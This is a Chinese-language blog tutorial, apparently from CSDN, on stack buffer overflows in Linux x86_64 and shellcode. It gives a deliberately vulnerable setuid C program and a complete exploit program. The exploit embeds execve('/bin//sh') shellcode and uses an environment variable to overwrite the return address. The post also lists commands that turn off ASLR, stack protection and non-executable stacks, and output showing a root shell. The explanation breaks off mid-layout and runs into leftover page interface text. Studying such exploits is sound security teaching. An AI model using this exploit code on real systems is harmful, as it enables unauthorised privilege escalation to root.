linux x86_64 缓冲区溢出分析 以及 shellcode简介

本文详细介绍了Linux x86_64架构下的缓冲区溢出现象,重点关注如何利用栈溢出来覆盖rip寄存器,以及shellcode的基本概念。在x86_64系统中,内存地址为64位,但用户空间仅使用前47位。在调试过程中,通过设置shellcode地址,使得程序在main函数执行完毕后跳转到shellcode执行。文章还探讨了函数调用过程,包括rax、rbp、rsp和rip寄存器的作用,并通过gdb调试展示了main函数的retq指令执行流程。
摘要由CSDN通过智能技术生成


/* buger.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) 
{
	char buffer[128] = {0};
	char *envp = NULL;

	printf("buffer address is: %p\n", &buffer);

	envp = getenv("KIRIKA");
	if (envp)
		strcpy(buffer, envp);

	return 0;	
}
代表有漏洞的可执行程序,并且该文件编译后的可执行文件设置有suid位,可以被利用提权


/* hacker.c */
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

extern char **environ;

int main(int argc, char **argv)
{
	char large_string[256] = {0};
	long *long_ptr = (long *)large_string;
	char shellcode[] = {"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"};
	unsigned long int bufaddr = strtoul(argv[2], NULL, 16);
	int i;

	for (i = 0; i < 6; i++) {
		large_string[152 + i] = bufaddr & 0xff;
		bufaddr >>= 8;
	}

	for (i = 0; i < 152; i++)
		large_string[i] = 'A';
	for (i = 0; i < strlen(shellcode); i++)
		large_string[i] = shellcode[i];

	setenv("KIRIKA", large_string, 1);
	execle(argv[1], argv[1], NULL, environ);

	return 0;
}
代表恶意可执行程序,利用buger程序实现提权


运行:

1: echo 0 > /proc/sys/kernel/randomize_va_space
2: gcc -z execstack -fno-stack-protector buger.c -o buger -g
3: chmod +s buger
4: gcc -z execstack -fno-stack-protector hacker.c -o hacker -g
5:	./hacker ./buger 0xff
	buffer address is: 0x7fffffffddb0
	Segmentation fault (core dumped)

6:	./hacker ./buger 0x7fffffffddb0
	buffer address is: 0x7fffffffddb0
	# exit


提权流程是这样的:
1: 设置环境变量KIRIKA的值, 注意一点是这是一个字符串, 如果shellcode里面有自负0x00就会出问题,因为字符串是以0x00结尾的
    "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"    //34B
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"            //118B
    "\x78\x56\x34\x12\xff\x7f"  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值